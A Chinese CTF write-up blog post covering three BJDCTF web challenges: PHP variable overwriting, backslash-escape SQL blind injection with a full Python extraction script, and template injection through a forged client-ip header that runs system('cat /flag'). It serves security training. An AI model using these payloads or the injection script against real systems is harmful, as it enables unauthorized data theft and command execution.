[BJDCTF2020]Mark loves cat

源码泄露

使用GitHack.py下载源码

下载之后对源代码进行审计

flag.php代码为:

<?php

$flag = file_get_contents('/flag');

iindex.py里的关键代码为:

<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;

  观察代码可以看出来是变量覆盖漏洞,代码审计一书中也对变量覆盖漏洞进行过分析

按照常规想要获取到flag,是通过:

echo "the flag is: ".$flag;

  因为包含了flag.php文件,在flag.php文件中包含了网站目录下的flag文件。

但是在这里:

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
} if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
} if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}

  可以看到有三个有输出的exit:

exit($handsome);
exit($yds);
exit($is);

找一个最简单的,第二个exit:

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

  只要不给flag传值就会退出,退出的时候会显示$yds的值,而$yds的值在代码最开始的时候初始化过:

$yds = "dog";

  初始化和exit之间有代码:

foreach($_POST as $x => $y){
$$x = $y;
} foreach($_GET as $x => $y){
$$x = $$y;
}

  我们只要在这段代码中令$yds=$flag,将原来$yds变量的值进行覆盖,同时符合退出条件,就可以输出拿到flag。

从下往上逆推,思路要清楚一点。

退出条件是不给flag传值,接着要令$yds=$flag

foreach($_GET as $x => $y){
$$x = $$y;
}

所以我们GET传值

?yds=flag

这样就能达到我们的目的,第一个POST的循环都没有用到。

查看源代码获取flag

[BJDCTF 2nd]简单注入

界面是一个登录框,输入admin/123456

输入一下单引号

存在过滤,扫描发现存在robots.txt文件

继续看hint.txt文件

Only u input the correct password then u can get the flag
and p3rh4ps wants a girl friend. select * from users where username='$_POST["username"]' and password='$_POST["password"]';

  显示了后端的SQL语句,我们可以使用\转义符转义username后面的引号,令username的第一个引号和password的第一个引号闭合,逃逸出password第一个引号后面的内容

如输入

username=admin\
password=or 1#

  数据库查询语句事实上变成了这样:

select * from users where username='admin\' and password='or 1#';

  这时候的回显变为了:

也就是查询正确的结果和查询错误的结果显示的页面是不一样的,由此编写二分盲注脚本(其实就是在原来的二分盲注脚本基础上改改就行)

不知道为啥,二分脚本里面payload写成这样死活不行:

payload='or/**/(ascii(substr((password),%d,1))>%d)#'%(x,mid)

  手动测试的时候or也没有被过滤,脚本里面就出错了,将or换成了^异或符号

payload='^/**/(ascii(substr((password),%d,1))>%d)#'%(x,mid)

  最后的二分盲注脚本为:

import requests
import time url='http://30e42e1c-74ab-4d1f-82e8-fcfb7562dfe1.node3.buuoj.cn/index.php'
flag=''
for x in range(1,50):
high=137
low=32
mid=(low+high)//2
while high>low:
payload='^/**/(ascii(substr((password),%d,1))>%d)#'%(x,mid)
data={
"username":"admin\\",
"password":payload
}
response=requests.post(url,data=data)
if 'P3rh4ps' in response.text:
low=mid+1
else:
high=mid
mid=(high+low)//2
flag+=chr(int(mid))
print flag
#or (ascii(substr((password),1,1))>1)#

  运行之后拿到密码:

使用admin/OhyOuFOuNdit登录即可获取flag

[BJDCTF2020]The mystery of ip

进去之后随便点点,先点hint再点flag

hint页面啥也没有,查看源代码

有一句 Do you know why i knoe your ip?怀疑是需要伪造IP地址

再看flag页面

为啥我IP在加拿大???

burpsuite拦截,client-ip伪造IP为127.0.0.1

成功伪造其为127.0.0.1

发现没有什么其他的提示了,尝试了一下SQL注入,无果

这时候可以注意到网站是使用flask框架搭建的--->>因为前端使用了bootstrap框架组件(还好有一点flask开发基础)

遇到flask框架反应就是SSTI模板注入,题目又是IP的奥秘,伪造IP为:

client-ip: 127.0.0.1/{{1+1}}

  

计算出了1+1之后的值,证明存在SSTI模板注入

继续修改payload:

client-ip: 127.0.0.1/{{system("ls /")}}

根目录下存在flag文件,cat一下即可

client-ip: 127.0.0.1/{{system("cat /flag")}}

  

获取flag

参考链接:

https://www.cnblogs.com/wangtanzhi/p/12318630.html

https://www.cnblogs.com/h3zh1/p/12669345.html

[BJDCTF2020]Mark loves cat && [BJDCTF 2nd]简单注入 && [BJDCTF2020]The mystery of ip的更多相关文章

  1. [BJDCTF 2nd]简单注入

    [BJDCTF 2nd]简单注入 hint.txt出现了内容. 大概意思和国赛一道题相同. username处注入\来转义单引号,password处使用sql语句整数型注入. 例如: 传入admin\ ...

  2. [BJDCTF2020]Mark loves cat

    0x00 知识点 GitHack读取源码 $$会导致变量覆盖漏洞 0x01解题 dirsearch扫描一下,发现/.git目录,用githack获取一下源码. <?php include 'fl ...

  3. 刷题[BJDCTF 2nd]简单注入

    解题思路 打开发现登陆框,随机输入一些,发现有waf,然后回显都是同样的字符串.fuzz一波,发现禁了挺多东西的. select union 等 这里猜测是布尔盲注,错误的话显示的是:You konw ...

  4. 刷题[BJDCTF2020]Mark loves cat

    解题思路 打开网页,发现是一个博客,基本寻找博客挂载信息,源码等无果后,扫描后台.发现.git泄露 .git泄露 发现.git泄露后,使用Git Extract这款工具,可自动将源码clone到本地 ...

  5. [原题复现+审计][BJDCTF2020]Mark loves cat($$导致的变量覆盖问题)

    简介  原题复现:https://gitee.com/xiaohua1998/BJDCTF2020_January  考察知识点:$$导致的变量覆盖问题  线上平台:https://buuoj.cn( ...

  6. [BJDCTF 2nd]Schrödinger && [BJDCTF2020]ZJCTF,不过如此

    [BJDCTF 2nd]Schrödinger 点进题目之后是一堆英文,英语不好就不配打CTF了吗(流泪) 复制这一堆英文去谷歌翻译的时候发现隐藏文字 移除test.php文件,访问test.php ...

  7. [BJDCTF2020]Mark loves cat-1|源代码泄露|变量覆盖

    主要考察了:源代码泄露.变量覆盖 共展示了三种获取flag的方式 1.打开题目查看未发现有效信息,查看源代码信息,发现返回的dog信息,结果如下: 2.使用dirmap进行目录扫描,发现了.git/c ...

  8. [BJDCTF 2nd]假猪套天下第一 && [BJDCTF2020]Easy MD5

    [BJDCTF 2nd]假猪套天下第一 假猪套是一个梗吗? 进入题目,是一个登录界面,输入admin的话会返回错误,登录不成功,其余用户可以正常登陆 以为是注入,简单测试了一下没有什么效果 抓包查看信 ...

  9. [BJDCTF 2nd]fake google

    [BJDCTF 2nd]fake google 进入页面: 试了几下发现输入xxx,一般会按的格式显示, P3's girlfirend is : xxxxx 然后猜测会不会执行代码,发现可以执行 & ...

随机推荐

  1. kudu1.10基于cdh6.3.1搭建

    1.下载kudu依赖: yum -y install cyrus-sasl-plain ntp   2.下载kudu rpm包: wget https://archive.cloudera.com/c ...

  2. Numpy_01

    # 引子: # ndarray 是一个 numpy库提供的 同构数据多维模型 import numpy as np list=[1,2,3,4,5,6] myndarray=np.array(list ...

  3. KMP算法和bfprt算法总结

    目录 1 KMP算法 1.1 KMP算法分析 1.2 KMP算法应用 题目1:旋转词 题目2:子树问题 2 bfprt算法 2.1 bfprt算法分析 2.2 bfprt算法应用 1 KMP算法 大厂 ...

  4. 通过JS判断当前浏览器的类型

    通过JS判断当前浏览器的类型,对主流浏览器Chrome.Edge.Firefox.UC浏览器.QQ浏览器.360浏览器.搜狗浏览器的userAgent属性值来判断用户使用的是什么浏览器. 不同浏览器的 ...

  5. kubernetes存储类与PV与PVC关系及实践

    StorageClass & PV & PVC关系图 Volumes是最基础的存储抽象,其支持多种类型,包括本地存储.NFS.FC以及众多的云存储,我们也可以编写自己的存储插件来支持特 ...

  6. Markdown文档示例

    目录 我是大标题,和一级标题长得一样 我是次级标题,和二级标题长得一样 这是一级标题 这是二级标题 一直到六级标题 列表 表格 分割线 字体 超链接 插入图片 引用 代码块 注意下面每一个标记如果和内 ...

  7. 一些 git 常用的命令

    1.本地命令 查看状态 -git status 添加文件 -git add . 提交文件 -git commit -m "(comment)" 查看历史key -git reflo ...

  8. kali 系列学习08-安卓逆向

    可以轻松把安卓apk的源码逆向出来,逆向有什么用,比如手机apk木马,可以用于追踪黑客,详见  https://cloud.tencent.com/developer/news/179336 用2个工 ...

  9. ASP.NET Core 3 起架设在 Windows IIS 方式改变

    最近要升级 windows 服务器的 ASP.NET Core 2.1 专案到 3.1 版本,发现 Windows 架设在 IIS 上面的方式有所改变. 一. 除了反向代理外,从 ASP.NET Co ...

  10. vue项目中h5移动端中通过flex布局实现首尾固定,中间滚动(借鉴)

    html中 <div class="flexLayoutr"> <div class="div_head"></div> & ...